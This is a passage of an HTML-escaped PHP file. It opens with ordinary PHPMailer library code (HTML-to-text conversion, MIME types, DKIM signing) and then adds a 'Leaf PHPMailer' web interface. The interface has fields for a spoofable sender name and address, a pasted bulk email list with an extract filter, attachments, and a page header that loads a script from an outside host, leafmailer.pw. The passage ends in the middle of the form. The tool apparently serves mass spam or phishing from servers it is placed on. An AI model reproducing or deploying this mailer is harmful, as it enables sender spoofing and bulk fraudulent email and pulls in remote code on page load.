     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = &#039;&#039;, $advanced = false)
    {
        preg_match_all(&#039;/(src|background)=[&quot;\&#039;](.*)[&quot;\&#039;]/Ui&#039;, $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) &gt; 1 &amp;&amp; substr($basedir, -1) != &#039;/&#039;) {
                // Ensure $basedir has a trailing /
                $basedir .= &#039;/&#039;;
            }
            foreach ($images[2] as $imgindex =&gt; $url) {
                // Convert data URIs into embedded images
                if (preg_match(&#039;#^data:(image[^;,]*)(;base64)?,#&#039;, $url, $match)) {
                    $data = substr($url, strpos($url, &#039;,&#039;));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . &#039;@phpmailer.0&#039;; // RFC2392 S 2
                    if ($this-&gt;addStringEmbeddedImage($data, $cid, &#039;embed&#039; . $imgindex, &#039;base64&#039;, $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . &#039;=&quot;cid:&#039; . $cid . &#039;&quot;&#039;,
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    &amp;&amp; (strpos($url, &#039;..&#039;) === false)
                    // Do not change urls that are already inline images
                    &amp;&amp; substr($url, 0, 4) !== &#039;cid:&#039;
                    // Do not change absolute URLs, including anonymous protocol
                    &amp;&amp; !preg_match(&#039;#^[a-z][a-z0-9+.-]*:?//#i&#039;, $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == &#039;.&#039;) {
                        $directory = &#039;&#039;;
                    }
                    $cid = md5($url) . &#039;@phpmailer.0&#039;; // RFC2392 S 2
                    if (strlen($directory) &gt; 1 &amp;&amp; substr($directory, -1) != &#039;/&#039;) {
                        $directory .= &#039;/&#039;;
                    }
                    if ($this-&gt;addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        &#039;base64&#039;,
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            &#039;/&#039; . $images[1][$imgindex] . &#039;=[&quot;\&#039;]&#039; . preg_quote($url, &#039;/&#039;) . &#039;[&quot;\&#039;]/Ui&#039;,
                            $images[1][$imgindex] . &#039;=&quot;cid:&#039; . $cid . &#039;&quot;&#039;,
                            $message
                        );
                    }
                }
            }
        }
        $this-&gt;isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this-&gt;Body = $this-&gt;normalizeBreaks($message);
        $this-&gt;AltBody = $this-&gt;normalizeBreaks($this-&gt;html2text($message, $advanced));
        if (!$this-&gt;alternativeExists()) {
            $this-&gt;AltBody = &#039;To view this email message, open it in a program that understands HTML!&#039; .
                self::CRLF . self::CRLF;
        }
        return $this-&gt;Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * &lt;code&gt;
     * // Use default conversion
     * $plain = $mail-&gt;html2text($html);
     * // Use your own custom converter
     * $plain = $mail-&gt;html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter-&gt;get_text();
     * });
     * &lt;/code&gt;
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace(&#039;/&lt;(head|title|style|script)[^&gt;]*&gt;.*?&lt;\/\\1&gt;/si&#039;, &#039;&#039;, $html))),
            ENT_QUOTES,
            $this-&gt;CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = &#039;&#039;)
    {
        $mimes = array(
            &#039;xl&#039;    =&gt; &#039;application/excel&#039;,
            &#039;js&#039;    =&gt; &#039;application/javascript&#039;,
            &#039;hqx&#039;   =&gt; &#039;application/mac-binhex40&#039;,
            &#039;cpt&#039;   =&gt; &#039;application/mac-compactpro&#039;,
            &#039;bin&#039;   =&gt; &#039;application/macbinary&#039;,
            &#039;doc&#039;   =&gt; &#039;application/msword&#039;,
            &#039;word&#039;  =&gt; &#039;application/msword&#039;,
            &#039;xlsx&#039;  =&gt; &#039;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&#039;,
            &#039;xltx&#039;  =&gt; &#039;application/vnd.openxmlformats-officedocument.spreadsheetml.template&#039;,
            &#039;potx&#039;  =&gt; &#039;application/vnd.openxmlformats-officedocument.presentationml.template&#039;,
            &#039;ppsx&#039;  =&gt; &#039;application/vnd.openxmlformats-officedocument.presentationml.slideshow&#039;,
            &#039;pptx&#039;  =&gt; &#039;application/vnd.openxmlformats-officedocument.presentationml.presentation&#039;,
            &#039;sldx&#039;  =&gt; &#039;application/vnd.openxmlformats-officedocument.presentationml.slide&#039;,
            &#039;docx&#039;  =&gt; &#039;application/vnd.openxmlformats-officedocument.wordprocessingml.document&#039;,
            &#039;dotx&#039;  =&gt; &#039;application/vnd.openxmlformats-officedocument.wordprocessingml.template&#039;,
            &#039;xlam&#039;  =&gt; &#039;application/vnd.ms-excel.addin.macroEnabled.12&#039;,
            &#039;xlsb&#039;  =&gt; &#039;application/vnd.ms-excel.sheet.binary.macroEnabled.12&#039;,
            &#039;class&#039; =&gt; &#039;application/octet-stream&#039;,
            &#039;dll&#039;   =&gt; &#039;application/octet-stream&#039;,
            &#039;dms&#039;   =&gt; &#039;application/octet-stream&#039;,
            &#039;exe&#039;   =&gt; &#039;application/octet-stream&#039;,
            &#039;lha&#039;   =&gt; &#039;application/octet-stream&#039;,
            &#039;lzh&#039;   =&gt; &#039;application/octet-stream&#039;,
            &#039;psd&#039;   =&gt; &#039;application/octet-stream&#039;,
            &#039;sea&#039;   =&gt; &#039;application/octet-stream&#039;,
            &#039;so&#039;    =&gt; &#039;application/octet-stream&#039;,
            &#039;oda&#039;   =&gt; &#039;application/oda&#039;,
            &#039;pdf&#039;   =&gt; &#039;application/pdf&#039;,
            &#039;ai&#039;    =&gt; &#039;application/postscript&#039;,
            &#039;eps&#039;   =&gt; &#039;application/postscript&#039;,
            &#039;ps&#039;    =&gt; &#039;application/postscript&#039;,
            &#039;smi&#039;   =&gt; &#039;application/smil&#039;,
            &#039;smil&#039;  =&gt; &#039;application/smil&#039;,
            &#039;mif&#039;   =&gt; &#039;application/vnd.mif&#039;,
            &#039;xls&#039;   =&gt; &#039;application/vnd.ms-excel&#039;,
            &#039;ppt&#039;   =&gt; &#039;application/vnd.ms-powerpoint&#039;,
            &#039;wbxml&#039; =&gt; &#039;application/vnd.wap.wbxml&#039;,
            &#039;wmlc&#039;  =&gt; &#039;application/vnd.wap.wmlc&#039;,
            &#039;dcr&#039;   =&gt; &#039;application/x-director&#039;,
            &#039;dir&#039;   =&gt; &#039;application/x-director&#039;,
            &#039;dxr&#039;   =&gt; &#039;application/x-director&#039;,
            &#039;dvi&#039;   =&gt; &#039;application/x-dvi&#039;,
            &#039;gtar&#039;  =&gt; &#039;application/x-gtar&#039;,
            &#039;php3&#039;  =&gt; &#039;application/x-httpd-php&#039;,
            &#039;php4&#039;  =&gt; &#039;application/x-httpd-php&#039;,
            &#039;php&#039;   =&gt; &#039;application/x-httpd-php&#039;,
            &#039;phtml&#039; =&gt; &#039;application/x-httpd-php&#039;,
            &#039;phps&#039;  =&gt; &#039;application/x-httpd-php-source&#039;,
            &#039;swf&#039;   =&gt; &#039;application/x-shockwave-flash&#039;,
            &#039;sit&#039;   =&gt; &#039;application/x-stuffit&#039;,
            &#039;tar&#039;   =&gt; &#039;application/x-tar&#039;,
            &#039;tgz&#039;   =&gt; &#039;application/x-tar&#039;,
            &#039;xht&#039;   =&gt; &#039;application/xhtml+xml&#039;,
            &#039;xhtml&#039; =&gt; &#039;application/xhtml+xml&#039;,
            &#039;zip&#039;   =&gt; &#039;application/zip&#039;,
            &#039;mid&#039;   =&gt; &#039;audio/midi&#039;,
            &#039;midi&#039;  =&gt; &#039;audio/midi&#039;,
            &#039;mp2&#039;   =&gt; &#039;audio/mpeg&#039;,
            &#039;mp3&#039;   =&gt; &#039;audio/mpeg&#039;,
            &#039;mpga&#039;  =&gt; &#039;audio/mpeg&#039;,
            &#039;aif&#039;   =&gt; &#039;audio/x-aiff&#039;,
            &#039;aifc&#039;  =&gt; &#039;audio/x-aiff&#039;,
            &#039;aiff&#039;  =&gt; &#039;audio/x-aiff&#039;,
            &#039;ram&#039;   =&gt; &#039;audio/x-pn-realaudio&#039;,
            &#039;rm&#039;    =&gt; &#039;audio/x-pn-realaudio&#039;,
            &#039;rpm&#039;   =&gt; &#039;audio/x-pn-realaudio-plugin&#039;,
            &#039;ra&#039;    =&gt; &#039;audio/x-realaudio&#039;,
            &#039;wav&#039;   =&gt; &#039;audio/x-wav&#039;,
            &#039;bmp&#039;   =&gt; &#039;image/bmp&#039;,
            &#039;gif&#039;   =&gt; &#039;image/gif&#039;,
            &#039;jpeg&#039;  =&gt; &#039;image/jpeg&#039;,
            &#039;jpe&#039;   =&gt; &#039;image/jpeg&#039;,
            &#039;jpg&#039;   =&gt; &#039;image/jpeg&#039;,
            &#039;png&#039;   =&gt; &#039;image/png&#039;,
            &#039;tiff&#039;  =&gt; &#039;image/tiff&#039;,
            &#039;tif&#039;   =&gt; &#039;image/tiff&#039;,
            &#039;eml&#039;   =&gt; &#039;message/rfc822&#039;,
            &#039;css&#039;   =&gt; &#039;text/css&#039;,
            &#039;html&#039;  =&gt; &#039;text/html&#039;,
            &#039;htm&#039;   =&gt; &#039;text/html&#039;,
            &#039;shtml&#039; =&gt; &#039;text/html&#039;,
            &#039;log&#039;   =&gt; &#039;text/plain&#039;,
            &#039;text&#039;  =&gt; &#039;text/plain&#039;,
            &#039;txt&#039;   =&gt; &#039;text/plain&#039;,
            &#039;rtx&#039;   =&gt; &#039;text/richtext&#039;,
            &#039;rtf&#039;   =&gt; &#039;text/rtf&#039;,
            &#039;vcf&#039;   =&gt; &#039;text/vcard&#039;,
            &#039;vcard&#039; =&gt; &#039;text/vcard&#039;,
            &#039;xml&#039;   =&gt; &#039;text/xml&#039;,
            &#039;xsl&#039;   =&gt; &#039;text/xml&#039;,
            &#039;mpeg&#039;  =&gt; &#039;video/mpeg&#039;,
            &#039;mpe&#039;   =&gt; &#039;video/mpeg&#039;,
            &#039;mpg&#039;   =&gt; &#039;video/mpeg&#039;,
            &#039;mov&#039;   =&gt; &#039;video/quicktime&#039;,
            &#039;qt&#039;    =&gt; &#039;video/quicktime&#039;,
            &#039;rv&#039;    =&gt; &#039;video/vnd.rn-realvideo&#039;,
            &#039;avi&#039;   =&gt; &#039;video/x-msvideo&#039;,
            &#039;movie&#039; =&gt; &#039;video/x-sgi-movie&#039;
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return &#039;application/octet-stream&#039;;
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to &#039;application/octet-stream&#039;, i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, &#039;?&#039;);
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo[&#039;extension&#039;]);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP &gt;= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows &#039;filename&#039; to work on PHP &lt; 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array(&#039;dirname&#039; =&gt; &#039;&#039;, &#039;basename&#039; =&gt; &#039;&#039;, &#039;extension&#039; =&gt; &#039;&#039;, &#039;filename&#039; =&gt; &#039;&#039;);
        $pathinfo = array();
        if (preg_match(&#039;%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im&#039;, $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret[&#039;dirname&#039;] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret[&#039;basename&#039;] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret[&#039;extension&#039;] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret[&#039;filename&#039;] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case &#039;dirname&#039;:
                return $ret[&#039;dirname&#039;];
            case PATHINFO_BASENAME:
            case &#039;basename&#039;:
                return $ret[&#039;basename&#039;];
            case PATHINFO_EXTENSION:
            case &#039;extension&#039;:
                return $ret[&#039;extension&#039;];
            case PATHINFO_FILENAME:
            case &#039;filename&#039;:
                return $ret[&#039;filename&#039;];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it&#039;s more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail-&gt;set(&#039;SMTPSecure&#039;, &#039;tls&#039;);`
     *   is the same as:
     * `$mail-&gt;SMTPSecure = &#039;tls&#039;;`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = &#039;&#039;)
    {
        if (property_exists($this, $name)) {
            $this-&gt;$name = $value;
            return true;
        } else {
            $this-&gt;setError($this-&gt;lang(&#039;variable_set&#039;) . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array(&quot;\r&quot;, &quot;\n&quot;), &#039;&#039;, $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = &quot;\r\n&quot;)
    {
        return preg_replace(&#039;/(\r\n|\r|\n)/ms&#039;, $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = &#039;&#039;)
    {
        $this-&gt;sign_cert_file = $cert_filename;
        $this-&gt;sign_key_file = $key_filename;
        $this-&gt;sign_key_pass = $key_pass;
        $this-&gt;sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = &#039;&#039;;
        for ($i = 0; $i &lt; strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 &lt;= $ord) &amp;&amp; ($ord &lt;= 0x3A)) || $ord == 0x3C || ((0x3E &lt;= $ord) &amp;&amp; ($ord &lt;= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= &#039;=&#039; . sprintf(&#039;%02X&#039;, $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined(&#039;PKCS7_TEXT&#039;)) {
            if ($this-&gt;exceptions) {
                throw new phpmailerException($this-&gt;lang(&#039;extension_missing&#039;) . &#039;openssl&#039;);
            }
            return &#039;&#039;;
        }
        $privKeyStr = !empty($this-&gt;DKIM_private_string) ? $this-&gt;DKIM_private_string : file_get_contents($this-&gt;DKIM_private);
        if (&#039;&#039; != $this-&gt;DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this-&gt;DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP &amp; OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, &#039;5.3.0&#039;) &gt;= 0 and
            in_array(&#039;sha256WithRSAEncryption&#039;, openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, &#039;sha256WithRSAEncryption&#039;)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash(&#039;sha256&#039;, $signHeader);
            //&#039;Magic&#039; constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = &#039;3031300d060960864801650304020105000420&#039; . $hash;
            $pslen = $pinfo[&#039;bits&#039;] / 8 - (strlen($t) / 2 + 3);
            $eb = pack(&#039;H*&#039;, &#039;0001&#039; . str_repeat(&#039;FF&#039;, $pslen) . &#039;00&#039; . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return &#039;&#039;;
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace(&#039;/\r\n\s+/&#039;, &#039; &#039;, $signHeader);
        $lines = explode(&quot;\r\n&quot;, $signHeader);
        foreach ($lines as $key =&gt; $line) {
            list($heading, $value) = explode(&#039;:&#039;, $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace(&#039;/\s{2,}/&#039;, &#039; &#039;, $value); // Compress useless spaces
            $lines[$key] = $heading . &#039;:&#039; . trim($value); // Don&#039;t forget to remove WSP around the value
        }
        $signHeader = implode(&quot;\r\n&quot;, $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == &#039;&#039;) {
            return &quot;\r\n&quot;;
        }
        // stabilize line endings
        $body = str_replace(&quot;\r\n&quot;, &quot;\n&quot;, $body);
        $body = str_replace(&quot;\n&quot;, &quot;\r\n&quot;, $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == &quot;\r\n\r\n&quot;) {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = &#039;rsa-sha256&#039;; // Signature &amp; hash algorithms
        $DKIMcanonicalization = &#039;relaxed/simple&#039;; // Canonicalization of header/body
        $DKIMquery = &#039;dns/txt&#039;; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = &quot;Subject: $subject&quot;;
        $headers = explode($this-&gt;LE, $headers_line);
        $from_header = &#039;&#039;;
        $to_header = &#039;&#039;;
        $date_header = &#039;&#039;;
        $current = &#039;&#039;;
        foreach ($headers as $header) {
            if (strpos($header, &#039;From:&#039;) === 0) {
                $from_header = $header;
                $current = &#039;from_header&#039;;
            } elseif (strpos($header, &#039;To:&#039;) === 0) {
                $to_header = $header;
                $current = &#039;to_header&#039;;
            } elseif (strpos($header, &#039;Date:&#039;) === 0) {
                $date_header = $header;
                $current = &#039;date_header&#039;;
            } else {
                if (!empty($$current) &amp;&amp; strpos($header, &#039; =?&#039;) === 0) {
                    $$current .= $header;
                } else {
                    $current = &#039;&#039;;
                }
            }
        }
        $from = str_replace(&#039;|&#039;, &#039;=7C&#039;, $this-&gt;DKIM_QP($from_header));
        $to = str_replace(&#039;|&#039;, &#039;=7C&#039;, $this-&gt;DKIM_QP($to_header));
        $date = str_replace(&#039;|&#039;, &#039;=7C&#039;, $this-&gt;DKIM_QP($date_header));
        $subject = str_replace(
            &#039;|&#039;,
            &#039;=7C&#039;,
            $this-&gt;DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this-&gt;DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack(&#039;H*&#039;, hash(&#039;sha256&#039;, $body))); // Base64 of packed binary SHA-256 hash of body
        if (&#039;&#039; == $this-&gt;DKIM_identity) {
            $ident = &#039;&#039;;
        } else {
            $ident = &#039; i=&#039; . $this-&gt;DKIM_identity . &#039;;&#039;;
        }
        $dkimhdrs = &#039;DKIM-Signature: v=1; a=&#039; .
            $DKIMsignatureType . &#039;; q=&#039; .
            $DKIMquery . &#039;; l=&#039; .
            $DKIMlen . &#039;; s=&#039; .
            $this-&gt;DKIM_selector .
            &quot;;\r\n&quot; .
            &quot;\tt=&quot; . $DKIMtime . &#039;; c=&#039; . $DKIMcanonicalization . &quot;;\r\n&quot; .
            &quot;\th=From:To:Date:Subject;\r\n&quot; .
            &quot;\td=&quot; . $this-&gt;DKIM_domain . &#039;;&#039; . $ident . &quot;\r\n&quot; .
            &quot;\tz=$from\r\n&quot; .
            &quot;\t|$to\r\n&quot; .
            &quot;\t|$date\r\n&quot; .
            &quot;\t|$subject;\r\n&quot; .
            &quot;\tbh=&quot; . $DKIMb64 . &quot;;\r\n&quot; .
            &quot;\tb=&quot;;
        $toSign = $this-&gt;DKIM_HeaderC(
            $from_header . &quot;\r\n&quot; .
            $to_header . &quot;\r\n&quot; .
            $date_header . &quot;\r\n&quot; .
            $subject_header . &quot;\r\n&quot; .
            $dkimhdrs
        );
        $signed = $this-&gt;DKIM_Sign($toSign);
        return $dkimhdrs . $signed . &quot;\r\n&quot;;
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match(&#039;/^(.{&#039;.(self::MAX_LINE_LENGTH + 2).&#039;,})/m&#039;, $str);
    }

    /**
     * Allows for public read access to &#039;to&#039; property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this-&gt;to;
    }

    /**
     * Allows for public read access to &#039;cc&#039; property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this-&gt;cc;
    }

    /**
     * Allows for public read access to &#039;bcc&#039; property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this-&gt;bcc;
    }

    /**
     * Allows for public read access to &#039;ReplyTo&#039; property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this-&gt;ReplyTo;
    }

    /**
     * Allows for public read access to &#039;all_recipients&#039; property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this-&gt;all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this-&gt;action_function) &amp;&amp; is_callable($this-&gt;action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this-&gt;action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = &#039;&lt;strong&gt;&#039; . htmlspecialchars($this-&gt;getMessage()) . &quot;&lt;/strong&gt;&lt;br /&gt;\n&quot;;
        return $errorMsg;
    }
}
function leafheader(){
print &#039;
&lt;head&gt;
    &lt;title&gt;&#039;.str_replace(&quot;www.&quot;, &quot;&quot;, $_SERVER[&#039;HTTP_HOST&#039;]).&#039; - LuFix.gs&lt;/title&gt;
    &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=utf-8&quot;/&gt;
    &lt;link href=&quot;https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css&quot; rel=&quot;stylesheet&quot; &gt;
    &lt;script src=&quot;https://leafmailer.pw/style2.js&quot;&gt;&lt;/script&gt;

&lt;/head&gt;&#039;;
}
leafheader();
print &#039;&lt;body&gt;&#039;;
print &#039;&lt;div class=&quot;container col-lg-6&quot;&gt;
        &lt;h3&gt;&lt;font color=&quot;green&quot;&gt;&lt;span class=&quot;glyphicon glyphicon-leaf&quot;&gt;&lt;/span&gt;&lt;/font&gt; Leaf PHPMailer &lt;small&gt;&#039;.$leaf[&#039;version&#039;].&#039;&lt;/small&gt;&lt;/h3&gt;
        &lt;form name=&quot;form&quot; id=&quot;form&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot; action=&quot;&quot;&gt;
                    &lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;score&quot;&gt;

            &lt;div class=&quot;row&quot;&gt;
                &lt;div class=&quot;form-group col-lg-6 &quot;&gt;&lt;label for=&quot;senderEmail&quot;&gt;Email&lt;/label&gt;&lt;input type=&quot;text&quot; class=&quot;form-control  input-sm &quot; id=&quot;senderEmail&quot; name=&quot;senderEmail&quot; value=&quot;&#039;.$senderEmail.&#039;&quot;&gt;&lt;/div&gt;
                &lt;div class=&quot;form-group col-lg-6 &quot;&gt;&lt;label for=&quot;senderName&quot;&gt;Sender Name&lt;/label&gt;&lt;input type=&quot;text&quot; class=&quot;form-control  input-sm &quot; id=&quot;senderName&quot; name=&quot;senderName&quot; value=&quot;&#039;.$senderName.&#039;&quot;&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;row&quot;&gt;
                &lt;span class=&quot;form-group col-lg-6  &quot;&gt;&lt;label for=&quot;attachment&quot;&gt;Attachment &lt;small&gt;(Multiple Available)&lt;/small&gt;&lt;/label&gt;&lt;input type=&quot;file&quot; name=&quot;attachment[]&quot; id=&quot;attachment[]&quot; multiple/&gt;&lt;/span&gt;

                &lt;div class=&quot;form-group col-lg-6&quot;&gt;&lt;label for=&quot;replyTo&quot;&gt;Reply-to&lt;/label&gt;&lt;input type=&quot;text&quot; class=&quot;form-control  input-sm &quot; id=&quot;replyTo&quot; name=&quot;replyTo&quot; value=&quot;&#039;.$replyTo.&#039;&quot; /&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;row&quot;&gt;
                &lt;div class=&quot;form-group col-lg-12 &quot;&gt;&lt;label for=&quot;subject&quot;&gt;Subject&lt;/label&gt;&lt;input type=&quot;text&quot; class=&quot;form-control  input-sm &quot; id=&quot;subject&quot; name=&quot;subject&quot; value=&quot;&#039;.$subject.&#039;&quot; /&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;row&quot;&gt;
                &lt;div class=&quot;form-group col-lg-6&quot;&gt;&lt;label for=&quot;messageLetter&quot;&gt;Message Letter &lt;button type=&quot;submit&quot; class=&quot;btn btn-default btn-xs&quot; form=&quot;form&quot; name=&quot;action&quot; value=&quot;view&quot; formtarget=&quot;_blank&quot;&gt;Preview &lt;/button&gt;&lt;/label&gt;&lt;textarea name=&quot;messageLetter&quot; id=&quot;messageLetter&quot; class=&quot;form-control&quot; rows=&quot;10&quot; id=&quot;textArea&quot;&gt;&#039;.$messageLetter.&#039;&lt;/textarea&gt;&lt;/div&gt;
                &lt;div class=&quot;form-group col-lg-6 &quot;&gt;&lt;label for=&quot;emailList&quot;&gt;Email List &lt;a href=&quot;?emailfilter=on&quot; target=&quot;_blank&quot; class=&quot;btn btn-default btn-xs&quot;&gt;Filter/Extract&lt;/a&gt;&lt;/label&gt;&lt;textarea name=&quot;emailList&quot; id=&quot;emailList&quot; class=&quot;form-control&quot; rows=&quot;10&quot; id=&quot;textArea&quot;&gt;&#039;.$emailList.&#039;&lt;/textarea&gt;&lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;row&quot;&gt;
                &lt;div class=&quot;form-group col-lg-6 &quot;&gt;
                    &lt;label for=&quot;messageType&quot;&gt;Message Type&lt;/label&gt;
                    HTML &lt;input type=&quot;radio&quot; name=&quot;messageType&quot; id=&quot;messageType&quot; value=&quot;1&quot; &#039;.$html.&#039;&gt;
                    Plain&lt;input type=&quot;radio&quot; name=&quot;messageType&quot; id=&quot;messageType&quot; value=&quot;2&quot; &#039;.$plain.&#039;&gt;
                &lt;/div&gt;
                &lt;div class=&quot;form-group col-lg-3 &quot;&gt;
                    &lt;label for=&quot;charset&quot;&gt;Character set&lt;/label&gt;
                    &lt;select class=&quot;form-control input-sm&quot; id=&quot;charset&quot; name=&quot;charset&quot;&gt;
                        &lt;option &#039;.$utf8.&#039;&gt;UTF-8&lt;/option&gt;
